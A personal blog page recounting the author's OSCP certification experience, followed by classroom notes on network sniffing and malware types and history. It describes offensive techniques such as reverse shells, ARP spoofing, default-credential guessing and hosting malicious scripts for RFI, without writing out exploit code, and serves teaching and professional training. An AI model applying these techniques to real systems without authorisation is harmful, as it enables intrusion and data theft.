Something I found useful for keeping focus and blocking any outside noise was some good music while I hacked.  When I’m trying to focus intensely, I found something instrumental is best for a background soundtrack.  I’m sure a lot of you might like classical music of some sort, or maybe techno or retrowave…I’ll confess that I have a thing for video game music covers.  In particular, I was listening to a lot of Minibosses and Bit Brigade to keep me pumped and get through the exam.  If you’re into rock covers of NES music, I highly recommend them.  You can buy all their stuff on Bandcamp, iTunes, and other places.

My OSCP Experience

**Update (11/4/2016) – added a few bits back in from this post

A few weeks ago, I “tried harder” and was awarded the Offensive Security Certified Professional (OSCP) certification.

As many people before me have done, I decided I’d post a little writeup of my experience with the Pentesting With Kali (PWK) online training and taking the OSCP exam (twice).

As you probably know by now, the OSCP is Offensive Security’s certification for penetration testing using the Linux distribution they maintain, Kali Linux.   The accompanying course, Pentesting With Kali (PWK), gets you a PDF lab guide and a series of instruction videos covering the different topics of the guide, from basic network enumeration to writing buffer overflow exploits.  You’re also purchasing VPN access to their hands-on lab environment of dozens of different vulnerable hosts for you to probe and exploit.  To attain the OSCP certification, you take a hands-on exam in which you’re given VPN access to a special exam network and are alotted 24 hours to compromise as many systems as possible, plus an additional 24 hours to write up and submit your exam penetration test report.

I signed up for the 90-day course, bought a one-month extension after I ran out of time (mostly for going back over machines to write the huge lab report…more on that later), I bombed my first attempt at the exam, purchased a two-week extension in order to bone up on some stuff and get a retest attempt, then passed it on my second try.

The Cost, Signing Up, and Getting your Employer to Pay For It

I’ve wanted to take OffSec’s training for a long time and I should’ve just sucked it up, ponied up the money, and took it years ago.  I fought for over a year at my previous employer to get them to finance it.  I was ready to give up arguing with them and buy it myself before I landed in my current job.  Thankfully, where I work now has a healthy training budget for its pentesters and all I had to do was put it on the corporate card.

If you’re already on a pentest or vulnerability assessment team, the value of the OSCP is pretty obvious.  If you’re of the blue team persuasion, there’s a case to be made also.  You’re probably used to telling developers that they should fix that SQL injection vuln in their web app because attackers could use it to get access to internal systems; or telling a sysadmin he needs to update bash on his Linux server because attackers could use Shellshock to get into it…but how?  Learning pentesting (via a course such as the OSCP) gives you an understanding of just how attackers leverage vulnerabilities and exploit systems.  It can give you a much deeper understanding of how attacks really work and prepare you to explain to more resistant customers just how this or that vuln can be exploited and how far an attacker can take it.

$1150 USD for three months of lab time and an exam attempt sounds like a lot, but if you think about it, it’s still a lot cheaper than SANS courses, a college course on pentesting, or most other cert’s boot camps.  If you can get your employer on board to pay for it, awesome!  If not, but you have the money to spend, I think it’s some of the best training you can get.

You’ll need a non-free email account to sign up (so no Gmail or Yahoo).  If you use your work email, I recommend specifically adding to your contacts and/or whitelisting any email from the domain.  The spam filter where I work is very aggressive and doesn’t like Offsec’s domain, for some reason.  You wouldn’t want to be late for your exam because some shitty spam filter blocked the email with the VPN info and password from coming in.

PWK is in high demand, so expect to not be able to start your lab time immediately.  When I signed up, I picked a start date and had to wait a month or two before I could connect over the VPN and start.  When purchasing additional lab time, however, you’ll get access back instantly.

Lastly, PWK is a self-directed course. There’s no instructor there who’s going to hold your hand and show you all the answers.  It’s up to you to motivate yourself, study up on different tools and exploits outside of the course cirriculum, and work through problems on your own in order to pwn all the hosts on the lab network.  If you’re the right sort of person to get into pentesting and infosec, this probably isn’t a problem for you.

Prerequisites and Preparation

You could sign up for PWK as a total Linux and security newb…but you’d probably waste weeks of your lab time self-studying on remedial subjects.

Your lab time is precious (and costs money), so you definitely want to get the most out of it that you can by studying up beforehand on some important subjects.  My own goal was to try to do as much self-studying beforehand as possible and maximize the amount of lab time I could devote to owning boxes and having fun in the lab.


First and foremost, you need to be a competent Linux user.  When I taught my CNS320 class, I used to set up Linux Mint VMs and run my students through this tutorial from the University of Surrey in the UK.

The Linux Command Line is a good starter book, available in a free electronic version or as a book from No Starch Press.  The author’s website also has some good material on learning Linux and shell scripting.

Another dead tree option is How Linux Works, which is a great book on using Linux and understanding the nuts and bolts of the OS.

Obviously, there are a ton of online tutorials and books to choose from.  You might also look for O’Reilley books or study guides for the CompTIA Linux+ certification too.

The best way to accelerate your learning is to do it, whether accompanied with an instruction website, book, or totally on your own.  Specifically, force yourself to use the Linux command-line shell.  Make a Kali VM in VMware or Virtualbox and start practicing moving files, piping input and output, using command-line text editors, and other tasks.  Get comfortable with it.

You don’t have to have sysadmin-level knowledge or be LPIC certified in order to do well on the OSCP…but it probably doesn’t hurt.  I’m a bad gauge for how much Linux you should know for PWK because I’d been using it at work and at home for almost a decade.

Despite having taught a course on it, the CEH isn’t terribly helpful.  I taught my CNS320 course way more like it was PWK than the truly awful training material that EC-Council provided.


Another subject that will help immensely is to be comfortable in a scripting language.  I would recommend learning some Python and some bash scripting.

I originally learned Python using Codecademy‘s free course.  This was before they started charging for the Pro version, so I’m not sure if all the same stuff is available for free anymore or not.  Much as with Linux, there are thousands of websites and books to choose from if you want to learn Python.  I like it because it’s very simple and quick to learn, yet offers lots of powerful modules and options.  Plus, it’s popularity means that answers to any of your questions, erorr messages you might get, etc., are easily found on Google.  Lots of the exploits you’ll see in the labs and all over Exploit-DB are written in Python.

If you already know some Python and want to take your pentesting skills with it to the next level, check out this presentation and accompanying series from Primal Security.

Another handy scripting language to pick up, and which is covered a little in the lab guide, is bash scripting.  Bash (short for Bourne Again Shell…old Unix joke, long story) is the default command-line shell on most Linux distributions and has it’s own built-in scripting language for automating commands.  The bash scripting language isn’t the most intuitive in the world and I’m not really all that fond of it…but I kinda force myself to use it because it’s so ubiquitous in the Linux world and can come in handy if you’re on a system that doesn’t have Python or some other more modern scripting language.  The aforementioned Linux books usually have some good info on bash scripting and the Linux Documentation Project also has a bash beginner’s guide that I read through when preparing.

Other than that, just some basic code literacy is helpful.  PWK doesn’t expect you to write a lot of code, but you need to know how to read it and have a basic understanding of what some exploit written in C or C++ is doing.

VulnHub and CTFs

The best way to learn anything is to do it, which is a philosophy that PWK and the OSCP embrace whole-heartedly.  A great way to start doing is to try your hand at some different capture-the-flag (CTF) challenges.  CTFs are very popular in the pentesting and hacker community as a challenging and entertaining way to test out your skills.

Big security conferences like DEFCON, Derbycon, and Shmoocon have in-person CTFs, if you’re lucky enough to be able to attend such events.  You can also find plenty of online CTF events that you can register for and compete.  Of the ones I’ve done, I especially like Derbycon’s CTF, as it is put on pentest-style with a network of vulnerable machines to exploit, much like PWK.  Most CTFS are in the “Jeopardy-style” format, with little individual challenges in different categories, such as crypto or web app hacking.  These are fun, but not terribly relevant to PWK/OSCP. is a good source for finding current and upcoming CTF events, both in-person and online.

My recommendation for getting some hands-on practice before PWK is to download some specially-made challenge VMs and practice attacking them on your own time.  VulnHub is the definitive source for challenge VMs that you can download, run in VMware of Virtualbox, and practice attacking.  The De-ICE and Kioptrix series are great for beginners and I used them to teach my classes with.

If you get stumped (and you will), each entry on VulnHub also lists links to walkthroughs where you can learn how others were able to successfully exploit them.  This is great for building your initial knowledge and getting you ready for PWK.  I’d even recommend that after you exploit one, go back and ready multiple people’s walkthroughs for it and see how their methodologies and techniques may have differed.


You’ll learn a lot about penetration testing tools and techniques in the labs.  I also recommend you take a look at the PWK syllabus and see if anything on there looks unfamiliar or makes you nervous.  You might want to study up on such topics before you schedule your PWK course.

Two particular tools that I think you’d benefit from pre-studying and getting really comfortable with are the Metasploit framework and netcat.

Metasploit is very handy, not just for the exploits packaged in it, but for it’s awesome Meterpreter shell, msfvenom utility for making shellcode, and it’s packaged scripts for finding and exploiting buffer overflows.  There are two great sources for learning about Metasploit.  One is Offensive Security’s own free online Metasploit Unleashed course.  The other is the Metasploit: the Penetration Tester’s Guide book from No Starch Press, which is co-authored by Mati “muts” Aharoni himself.  The book is a little out-of-date; the biggest changes being msfcli’s functionality being rolled into the msfconsole command and msfpayload and msfencode being combined into the msfvenom tool.  Otherwise, the examples and guides in it are all solid.  Just a little hint: some of the examples the book gives will show up in the PWK lab.

Netcat is another simple, yet extremely versatile tool that it would behoove you to spend some time on and become a ninja with before you start PWK.  Netcat (usually found somewhere in the /bin/ or /usr/bin/ directory on most Linux distros as simple “nc”) is an old Unix tool for setting up TCP and UDP connections.  There are several variants available in Kali, including socat (which supports sockets), cryptcat (which encrypts the connections that netcat makes), and my personal favorite, ncat.  Ncat is an updated version of netcat that comes packaged with nmap and supports new features like IPv6, encryption, etc.  There’s plenty of good tutorials online for getting comfortable with it, like this one and this one.  Many Linux and BSD distros use the OpenBSD version of netcat, which disables the “-e” option.  This doesn’t actually stop you from setting up bind shells and reverse shells, only makes it a little more complicated.  More on that later.

Other Helpful Material

Two more things that I don’t feel are really necessary, but have helped me out as a pentester, are learning to use vi/vim and the Red Team Field Manual.

Vi is short for “visual editor” and is a command-line text editor for Unix/Linux.  Vim stands for “vimproved” and is an updated version.  Just about every Linux or Unix distro has vim installed and “vi” is just a shortcut to it…but you might come across old installs that still use classic vi or specifically symlinks “vi” to a version of “vim” set to mimic the old behavior (which has some annoying quirks, like having to use h,j,k, and l instead of arrow keys for moving around).  When I got into pentesting, I forced myself to learn vi and vim.  The reason why is because: 1.) you aren’t always going to have a GUI session on a box and be able to use gedit or leafpad, and 2.) not every system is going to have “nano” installed on it.  “Vi” is the standard Unix text editor, so you will always find it installed on every Linux or Unix distribution. has a great online tutorial app for learning it or you can run the “vimtutor” command in the Linux or Mac OS X terminal to get vim’s builtin tutorial.

The Red Team Field Manual is a very handy little quick reference to different OS, database, and hacking tool commands.  It’s great to thumb through when you might not know exactly what to google for and is invaluable if you’re ever pentesting in an environment with no outside internet access.  Like I said, not necessary at all, but it’s small, cheap, and worth keeping in your laptop bag.

Taking the Course

Once you’re in, start watching the videos and working through the lab guide.  Do all the exercises and write the answers done (it’s good for extra credit on your exam).  Once you’ve powered through that, it’s time to start powering through the labs.

The lab guide and videos will show you a lot of the things you need to know to get up and running.  If you feel really lost, the forums have a great official thread walking you through pentesting the “alpha” host and will be adding walkthroughs of “beta” and “gamma” in the future.  The real point of the lab, however, is for you to figure things out yourself and find a way to compromise each host.

During my lab time, I was able to compromise almost all of the hosts on the public network, including Pain and Humble, two of the supposedly “hardest” VMs on the network.  I had footholds into the Dev and IT networks, but didn’t have much lab time left to delve further into them.  Plus, pivoting into these networks is slooooooooooow (as in real-life pivoting) and it’s really frustrating to have your pivot machine reset by some asshole while you’re right in the middle of hacking a host in the deeper network.

For me, at least, it’s kinda hard to pick up and put down attacking lab VMs.  I liked to devote several uninterrupted hours to it each day.  While my employer was nice enough to bankroll it, I didn’t get time during the work day to pursue it.  For me, I’m married and have a small child, so my only time to do it was at night from 8 PM on, once my son was in bed.  I’d usually stay up until midnight or 1 AM doing labs every night, maybe a little during the day on weekends, if I didn’t have anything else going on.

So for me, as someone who already had a background in pentesting, getting ~4 hours a day to pursue it, I owned most of the Public network in my initial three months.  As I mentioned before, my extensions were mostly to go back through stuff to make the enormous lab report and then a quick refresher after my first failed attempt at the exam.  Obviously, your mileage is going to vary based on how much self-study you have to end up doing on the side and how much time you have to devote to it.

I know a young kid with no pentesting background who could only afford one month and he was able to power through and get about as much done as I did.  I don’t think he slept much during that month, but hey, if you’re determined, you could do it in a month.

I personally recommend buying the full three-month package, as it’s not that much more than the 30- or 60-day package, and you’ll get more time to have fun hacking the targets in the lab.

Exploiting Targets

One thing that took me a while to get used to is that the PWK lab is very heavily geared towards using software and OS exploits to gain access or escalate privilege.  If you’ve done a lot of CTFs on VulnHub, you might be more used to exploiting bad configurations or shitty sudo settings to get root.  You’ll definitely see that too, but it felt like usually the way forward was either an exploit off of Exploit-DB or simple password brute-forcing.

The one, biggest, most important piece of advice I can give you is:


By the time you’re done, “nmap -A -p- <IP address>” should be permanently etched in your brain.  Scan every port on a box, figure out what service is running on every open port, figure out what software they’re using for that service, find out what version of it is running…find out EVERYTHING!  If you start asking for help in the forums or on IRC, that’s probably the most common tip you’ll get (besides “try harder”).  There isn’t any kind of sophisticated security on the network or any of the hosts, so don’t worry about trying to be stealthy or low-and-slow; hit them as hard as you can.

The tools I probably used the most for enumeration were nmap, enum4linux (if you see SMB or Samba ports on a box), nikto, and dirb.  I know a lot of folks like dirbuster, but I prefer dirb as it’s on the command line, runs fast, and has a good default wordlist.  Nmap has a lot of special scripts built into it for further enumerating services you find, under /usr/share/nmap/scripts/, and you can get more info on what they do using the –script-help option or by going to nmap’s documentation site.

One other important note: scan all 65,535 TCP ports on any box you encounter (“-p-” is the shortcut in nmap for that), but for UDP scans, just use the nmap default (ie, “nmap -sU <IP address>”).  It would take you a few weeks to successfully scan all the UDP ports on a given box over a slower VPN link.

I had a friend who spent days running hydra and trying to brute-force every web app, RDP, Telnet, SSH, and FTP instance he could find.  I found that to be entirely unneccessary.  Any time I came across some service requiring a password (usually an admin portal for a web app), I would do three things:

  • Google to see if that particular software had any sort of default credentials when you first install it and try those out
  • Went through some very simple bruteforcing (like trying root/password, admin/admin, that sort of thing)
  • As I compromised more hosts,  I saw there were several recurring characters in the story of the fake company you’re supposed to be hacking in the PWK labs.  So I started trying out their usernames and different simple passwords or passwords I discovered during post-exploitation (like cracked hashes, passwords left in plaintext files, etc.)

This isn’t just something to do in the PWK labs; this is just a good all-around practice to do in any real world pentest you find yourself in.  Your mileage may vary, but I found wide scale, intense brute-forcing to be unnecessary.  Hopefully that’ll save you some time.

Also, remember that you’re sharing the lab environment with a lot of other students.  When you’re in the lab, you have a control panel site where you can revert any of the target VMs back to the original state, in case some attacker has messed up a service or crashed the box.  To minimize stepping on other people’s dicks, I would avoid going after machines that had just been reverted within the last hour or so.  If a VM’s last refresh was hours or days ago, I figured no one else was attacking it and it would be safe for me to go after it.

Before you attack any box, GO REVERT IT.  That way, you know it’s fresh, untampered-with, and you won’t have to wonder if your exploit failed because someone else ruined the service or because you did something incorrectly.

While you’re doing the labs, START WRITING THE LAB REPORT.  You can find the format and requirements here.  It isn’t mandatory to write up a lab report, but if you do, it’s good for extra credit on your OSCP exam that might just push you over the edge if you just short of passing.  Writing up the lab report is a huge time drain and I spent weeks writing mine.  Luckily, I didn’t need it, but I would’ve been kicking myself if I’d needed it and couldn’t bust it out in time.  I used KeepNote in Kali to keep a running hack log of every machine I was attacking, scan output associated with it, different web directories I discovered, notes on software versions and possible exploits, commands I ran to generate shellcode for it, etc.  What I tried to do was keep a running log of everything so that someone could read it and repeat my results.  Obviously, if you like Evernote or some other note-keeping software better, go for it; but keep good notes!

Getting Help

Shortly after I started my PWK, they moved from IRC to the new Support site.  The IRC channel is still around, but I never really used it.  There is a bot that will give hints for different boxes, but I never found them terribly useful.  In fact, they usually didn’t make sense until after I’d already compromised the box and only then would I understand the cryptic hint.

I know some people would try to message admins and ask for advice, but that usually just results in being told to “try harder.”  I only ever talked to an admin if I thought something was actually wrong with the box or I was having some sort of issue with the control panel site or my VPN.

The OSCP forums were the best source of hints whenever I found myself stuck on a machine.  Since I signed up, they’ve reorganized them to make it much easier to find and ask for help on a specific machine.

Things I Found Useful

The /usr/share/ directory: I don’t think they really mention in the lab guides just how much useful stuff is buried in the /usr/share/ tree.  For one thing, it’s the standard location for most application’s associated data, like Metasploit’s module files and buffer overflow scripts or nmap’s NSE scripts.  For another, OffSec has put some really useful stuff in here, like a collection of web shell written in different languages, wordlists for several different brute-forcing purposes, a directory with some useful Windows binaries like nc.exe for you to drop on compromised Windows hosts, and more.

Reverse Shell Cheat Sheet: pentestmonkey’s site overall is great, but this page especially.  You aren’t always going to be able to drop Meterpreter or find netcat on a target, so it helps to know multiple ways to get a reverse shell with what’s available to you.

Windows Exploit Suggester: there are a couple of other Windows privesc suggester programs, but I like this because you just have to copy/paste the output of the “systeminfo” command, you don’t have to drop and run any binaries on the target machine.  It’s good for narrowing down which exploits to try out.

Windows Privilege Escalation Fundamentals: this is a guide you’ll often see recommended in the OffSec forums.  When there isn’t some obviously vulnerable version of Windows or software on the box, these steps can help you tease out the path to full Administrator or SYSTEM rights on a box.

Basic Linux Privilege Escalation: g0tmi1k is one of the OffSec forum admins and often does great write-ups of CTF challenges on VulnHub and elsewhere.  This is the definitive checklist of steps to run through when trying to root a Linux box.

Exploit-DB: seeing as how it’s maintained by OffSec, obviously Exploit-DB is going to be a source of a lot of the exploits you end up using in the labs.  Security Focus is probably the #2 site for exploit info, but isn’t as well-organized.  You can also use the “searchsploit” tool inside Kali to query Exploit-DB from the command line.

Google: if you aren’t already, you will be a Google wizard before this course is through.  Whether it’s looking up attack techniques, tutorials for unfamiliar tools, exploit code, documentation for vulnerable software you find, or default passwords for said software, you’ll be doing a lot of self-study and research.

Brosec: shameless plug for my friend Gabe Marshall‘s command-line reference tool.  Very handy for quickly looking up how to use query the Windows registry, how to write a one-line Python reverse shell, or other common hacker tasks.

python -m SimpleHTTPServer 8080: a one-liner I still use on a daily basis.  A lot easier and quicker than turning Apache on and off, in my humble opinion.  Also nice because when you run it in your terminal, it prints all the incoming requests.  So not only is it handy for hosting your malicious script or PHP, it’s also handy for quickly fuzzing for RFI on a web app.  In fact, I got my foothold on one of the target boxes specifically because I was using this one-liner and it allowed me to see the incoming RFI (and troubleshoot that an additional file extension was getting tagged on and keeping my script from running).  I usually use “8080” for the port, but you can change it at the end, in the case where it’s conflicting with another app or you’re trying to get around firewall restrictions.  On every Linux and Mac I use, I keep this in my .bashrc with the alias “pythonwebserver”.  Be aware that it’s “python -m http.server 8000” on Python 3, in case your environment uses it instead of the more common Python 2.x versions.

The Exam

Before you do anything: read the official OSCP Certification Exam Guide!  Then read it again!  Make sure you’re crystal clear on what you need to do in the exam, which is basically document all your steps so it’s repeatable and take screenshots before and after all your exploits.

Like with signing up for the labs, you won’t be able to sign up today and take your exam tomorrow.  The first available times are probably going to be several weeks out, so prepare accordingly.  You’ll get 24 hours of access to a private lab environment with several hosts in it, each of them having different point values for getting root/admin on them, totaling up to 100 points.  You need a minimum of 70 to pass and you can get up to 10 points of extra credit for writing up the lab guide exercises and making the lab report.  After that, you get an addition 24 hours to write up your exam report and email it to OffSec.  You’ll find out within a few business days whether you passed or not.  Once you’ve passed, you get a link to page to fill out where you want your paper certificate mailed, you get access to the OSCP Certified section of the Offensive Security forums, and you can change your forum name from your OSID to one of your choosing.

I scheduled both of mine to start on a Friday at 9AM, as my son’s in daycare that day (and wouldn’t be tempted to come up to my office and want to play).  My first time, I only got about 40 points worth of flags and wasted hours chasing a dead end.  I took stock of what happened, learned some lessons from it, and scheduled to take the exam again two months later.  The second time around, I had 80 points by the evening of that day, so I was actually able to sleep, and spent the remaining time trying to figure out the last box on the network I hadn’t compromised.

Like most exams, time management is key to success.  While all your scans are running, work on another part of the exam.  If you get stuck on one target, just take a break and move on to another one.  Take time to rest and eat during the exam, as you aren’t going to make any progress when it’s 3AM and you’re exhausted and hungry.

You can use Metasploit auxilliary, exploit, and post modules against only one machine of your choosing during the exam.  The first time, I saved it for a machine where it was pretty clear what the exploitable service was, but the code on Exploit-DB for it was nightmarish spaghetti.  I opted to use the Metasploit module for it instead and it worked.  My second time around, I didn’t really need Metasploit for any of the boxes.  I ended up trying it on that last box that eluded me, just for shits and giggles, but it didn’t help.

Something I found useful for keeping focus and blocking any outside noise was some good music while I hacked.  When I’m trying to focus intensely, I found something instrumental is best for a background soundtrack.  I’m sure a lot of you might like classical music of some sort, or maybe techno or retrowave…I’ll confess that I have a thing for video game music covers.  In particular, I was listening to a lot of Minibosses and Bit Brigade to keep me pumped and get through the exam.  If you’re into rock covers of NES music, I highly recommend them.  You can buy all their stuff on Bandcamp, iTunes, and other places.

Another important piece of advice, if you already work in security or pentesting, is don’t let your expertise mislead you.  For instance, the majority of my job is web app pentesting, so obviously I’m pretty well-versed in it.  The OSCP doesn’t expect you to know much beyond very simple XSS, SQL injection, and LFI/RFI.  I wasted hours of my first exam chasing what I thought must be a web app exploit that obviously wasn’t there and felt foolish when I realized it after I failed the first time.  I could see folks who come to this from a development background having a similar overanalysis problem.

Another piece of advice, without giving away too much, is to go through the entire lab guide and all the exercises.  Let’s just say that, on the exam, you might come across something that you had to do in the lab guide that you didn’t really do in the labs.  You wouldn’t want to be surprised by anything.


OSCP is a great, fun experience.  Look at the syllabus and see what sort of things you could be studying up on before you sign up so that you can spend the bulk of your time hacking shit in the lab.  ENUMERATE ENUMERATE ENUMERATE.  Treat the OSCP like any other exam (manage time, move on if you get stuck and come back to it later, rest and eat when you need it).  Don’t let the experiences you bring bias you too much on a particular problem.

I hope these tips can help you make the most of your PWK lab time and pass your exam.  If you “try harder” and keep striving, you’ll conquer all the challenges, learn a lot about pentesting, and have a great time.

If you want to see the shiny new certificate I got, check out this post.

CNS 320 Lesson 9 – Sniffing

Lesson 9 – Sniffing

Screen Shot 2016-02-06 at 9.59.41 AM.png

Screen Shot 2016-02-06 at 9.59.45 AM.png

  • In the old days, most LANs used hubs.  When a packet would come into the LAN, the hub would send it to everyone.  If the packet said its destination was your network card’s MAC address, you would take it and process it.  If it *didn’t* have your MAC, you were supposed to politely ignore it.  Yeah…you can guess how this ends.
  • Nowadays, LANs use “switches” instead of hubs.  Switches are smarter and keep track of which MAC address is hooked into which port on the switch.  That way, it only sends the packet to the computer it’s intended for.  This makes sniffing other people’s traffic more difficult…but we’ll see how attackers can get around this.
  • NOTE: later, we’ll talk more in depth about wireless networks.  Since they use radio signals that propagate out in all directions, they inherently have many of the same problems as hubs do.

Screen Shot 2016-02-06 at 9.59.46 AM.png

  • Rlogin or rsh is an old remote access protocol for logging into Linux/Unix servers.  It and telnet are both plain-text and have mostly been replaced by SSH, which is encrypted.  Rlogin/rsh usually operates on TCP port 513.
  • NNTP = Network News Transfer Protocol, the protocol used for sharing Usenet posts.  TCP 119 is reserved for it.

Screen Shot 2016-02-06 at 12.36.20 PM.png

  • Network taps sit inline between switches, routers, and/or hosts and listen in on the packets being sent.  Troubleshooting tools and intrusion detection systems (IDS) are two types of tools that often employ taps in order to monitor the network.
  • Port mirroring (SPAN as it’s called in Cisco products) is a feature of the router or switch itself and can more intelligently filter what data to intercept

Screen Shot 2016-02-06 at 9.59.49 AM.png

Screen Shot 2016-02-06 at 9.59.50 AM.png

Screen Shot 2016-02-06 at 9.59.51 AM.png

Screen Shot 2016-02-06 at 9.59.52 AM.png

Screen Shot 2016-02-06 at 9.59.53 AM.png

Screen Shot 2016-02-06 at 10.00.06 AM.png

Screen Shot 2016-02-06 at 10.00.07 AM.png

Screen Shot 2016-02-06 at 10.00.08 AM.png

Screen Shot 2016-02-06 at 10.00.10 AM.png

  • Intranet Spoofing: Acting as a device on the same internal network
  • Internet Spoofing: Acting as a device on the Internet
  • Proxy Server DNS Poisoning: Modifying the DNS entries on a proxy server so the user is redirected to a different host system
  • DNS Cache Poisoning: Modifying the DNS entries on any system so the user is redirected to a different host

Screen Shot 2016-02-06 at 10.00.11 AM.png

Screen Shot 2016-02-06 at 10.00.12 AM.png

Screen Shot 2016-02-06 at 10.00.16 AM.png

  • Ping method: if you suspect a certain IP address is a sniffer, send it a ping packet with its valid IP addresses but the wrong MAC address.  If it responds anyway, it’s the sniffer.
  • ARP method: send out a non-broadcast ARP message. Next, we send a broadcast ping packet with our IP address but a different MAC address. Only a machine that has our correct MAC address from the sniffed ARP frame will be able to respond to our broadcast ping request.
  • Source-route method: send out a ping, but with a loose-source route so that it will be routed through another machine on your network segment. Most computers won’t route packets like this, but if you get a response, it’s like the machine is running in promiscuous mode.
  • Decoy method: this method involves sending false information over the wire (such as fake username/password combos) and seeing if anyone acts on it.
  • Reverse DNS method: many sniffer programs will automatically perform reverse DNS lookups of the addresses we sniff. If you start seeing two machines have remarkably similar DNS traffic, one could be sniffing the other.
  • Latency method: flood the network with traffic.  The sniffer will start to creak under the strain.  If you see a machine on the network suddenly having very high latency when responding to requests, it might be the one sniffing.
  • TDR: TDRs are tools for testing electrical cables.  They are capable of detecting hardware taps and sniffers.

Screen Shot 2016-02-06 at 10.00.17 AM.png

  • Port security, or MAC filtering, will lock a specific MAC address to a specific port on a switch.  This way, it prevents ARP spoofing.
  • You could also go to the trouble of making a static ARP table and ignoring any spoofers sending out unsolicited APR replies.
  • The most common method is to use network IDS/IPS products that look for suspicious traffic, like floods of unsolicited ARP replies or large volumes of DNS traffic.
  • The best way to deal with sniffers is to make them pointless.  If you use public-key encryption (like TLS), it won’t matter if you’re being sniffed; the eavesdropper won’t be able to read your packets anyway.

Screen Shot 2016-02-06 at 10.00.18 AM.png

  • In the labs for this lesson, I would have my students work through a tcpdump tutorial ( Most of them were already very familiar with Wireshark, but few had used tcpdump on the command line.
  • After that, we’d pair up and play with sniffing traffic.  I would start them out with the relatively-simple arpspoof utility and then start using the more advanced ettercap.


CNS320 Lesson 8 – Malware

Lesson 8 – Malware

Screen Shot 2016-01-24 at 2.01.47 PM.png

  • dr-mario-virus-dancing-gif-davesgeekyideas.gif

Screen Shot 2016-01-24 at 1.56.39 PM.png

Screen Shot 2016-01-24 at 1.56.40 PM.png

  • Blackmail and extortion runs the gamut from encrypting your files and holding them ransom or stealing nude pics and making you pay the attacker not to blast them all over the internet

Screen Shot 2016-01-24 at 1.56.41 PM.png

Screen Shot 2016-01-24 at 1.56.42 PM.png

  • Don’t rely on slowdown and excessive CPU/RAM usage as your prime indicator…that’s usually just a sign that your computer is old piece of shit

Screen Shot 2016-01-24 at 1.56.43 PM.png

Screen Shot 2016-01-24 at 1.56.45 PM.png

  • The malware author first designs the malware
  • Then the malware replicates across networks and machines to victim computers
  • The malware then launches and performs whatever action is intended (holding files ransom, stealing sensitive info, installing keystroke loggers, enrolling the machine in a botnet, just trashing it, etc.)
  • Eventually, researchers and antivirus companies detect the virus in the wild, categorize it, and start building signatures for it
  • When that signature info is incorporated into AV products, antivirus can know recognize it…
  • …and start to eliminate the malware

Screen Shot 2016-01-24 at 1.56.46 PM.png

  • Boot sector viruses target the boot sector or Master Boot Record of hard drives, bootable floppies, CDs, USBs, etc.
  • File viruses infect files (duh).  Adobe PDF is a popular vector.
  • Program viruses infect executables.
  • Network viruses (according to the book) are viruses that spread over the network, usually via email.  It’s not really clear how this is different from a worm.
  • Source code viruses actually look for C, Java, or other source code on a machine and alter it to include malicious code.  These viruses are extremely rare.
  • Macro viruses, the bane of the 90’s, are written in the “macro language” of another application…such as an embedded macro in a Word or Excel document.  The Melissa virus was one of the earliest and most widespread of macro viruses.  Macro viruses have mostly tailed off in popularity.
  • Multipartite viruses utlize more than one of the above methods to infect and spread

Screen Shot 2016-01-24 at 1.56.47 PM.png

Screen Shot 2016-01-24 at 1.56.48 PM.png

  • TSR viruses usually load themselves into memory and then delete any files or binaries they used to get there in the first place.
  • Cavity viruses hide in the unused whitespace inside certain applications and file formats.
  • A tunneling virus is a virus that attempts to intercept anti-virus software before it can detect malicious code. A tunneling virus launches itself under anti-virus programs and then works by going to the operating system’s interruption handlers and intercepting them, thus avoiding detection. Interception programs, which remain in the background of an operating system and catch viruses, become disabled during the course of a tunneling virus.
  • Stealth viruses also use various means to evade antivirus, by means of hooking system calls and interrupts, changing them so that it doesn’t alert AV software.  Difference between it and a tunneling virus is that stealth viruses intercept everything, but tunneling viruses intercept only AV system calls.
  • Camouflage viruses crudely try to masquerade as a legitimate program.  They’re trivial for AV to find and kill.
  • Encrypted viruses come with a decryption module and then try to encrypt the bulk of the viral code and any infected binaries in order to evade signature-based AV.
  • Polymorphic and metamorphic viruses are similar in that both modify the underlying virus code with each iteration.  The difference is that metamorphic code will randomly re-write every part of itself, whereas polymorphic viruses usually have a mutation engine (or decryption module) that stays untouched and unmodified, making polymorphics easier to catch by AV.

Screen Shot 2016-01-24 at 1.56.49 PM.png

Screen Shot 2016-01-24 at 1.56.52 PM.png

Screen Shot 2016-01-24 at 1.56.53 PM.png

Screen Shot 2016-01-24 at 1.56.54 PM.png

Screen Shot 2016-01-24 at 1.56.55 PM.png

  • Creeper was an experimental, benign self-replicating program unleashed on DEC PDP-10 computers running the TENEX operating system.  Reaper was a program written to get rid of Creeper instances, making it the first anti-virus.
  • Rabbit was the first example of a “fork bomb,” a virus that keeps forking new processes of itself until it uses up all the system resources and DoS’s the box
  • Fred Cohen was an engineering student at the University of Southern California who first coined the term “computer virus” with a proof-of-concept program and an accompanying research paper in 1983.
  • Elk Cloner was invented as a prank by teenage computer enthusiast Rick Skrenta.  It was a boot sector virus that infected Apple II floppy disks.  It was harmless, only displaying a taunting message to users, but it could occasionally ruin disks if it accidentally overwrote the wrong part of a floppy’s boot sector.
  • Brain was the first boot sector virus to infect MS-DOS machines, written by Pakistani programmers and brothers Basit and Amjad Alvi.  It was originally written as an anti-piracy program, but unexpectedly spread to other disks.  Mikko Hyponnen of F-Secure tracked down the two brothers in 2011, who still own an IT business in Lahore.
  • The Morris Worm was unleashed on the ARPANet by then Cornell University student Robert Tappan Morris.  Morris said he did it as a way to gauge the size of the Internet, not to cause harm.  The worm spread using several possible methods; it would try to exploit known vulnerabilities in common Unix programs like sendmail, finger, and rlogin and would also try to remotely login by guessing weak passwords.  The worm itself was harmless; it would simple get into a new machine, then look for network neighbors and spread to them too.
  • Morris had written it so that, if it detected there was already a copy of the worm installed, it wouldn’t reinfect……except every seventh time, it would install another copy of itself, ostensibly as protection against false positives or people trying to fool his worm and keep it from spreading.  With enough time, as the worm reinfected the same hosts continuously, it turned into a massive widespread DoS attack.
  • Morris became the first person convicted under the then-new CFAA law.  He eventually served three years probation, did 400 hours of community service, and was fined over $10,000.
  • Morris went on to found several Silicon Valley start-ups and is currently a tenured professor at MIT.

Screen Shot 2016-01-24 at 1.56.56 PM.png

  • A floppy disk of the Morris worm’s source code in the Computer History Museum in Mountain View, CA

Screen Shot 2016-01-24 at 1.56.57 PM.png

  • Pretty sure Michaelangelo was the inspiration for the “Da Vinci virus” in the movie Hackers

Screen Shot 2016-01-24 at 1.56.59 PM.png

  • Code Red worm exploited flaws in Microsoft IIS web servers, Nimda was another devastating worm/file infector combo that used other means to propagate, but could exploit backdoors left behind by old Code Red infections
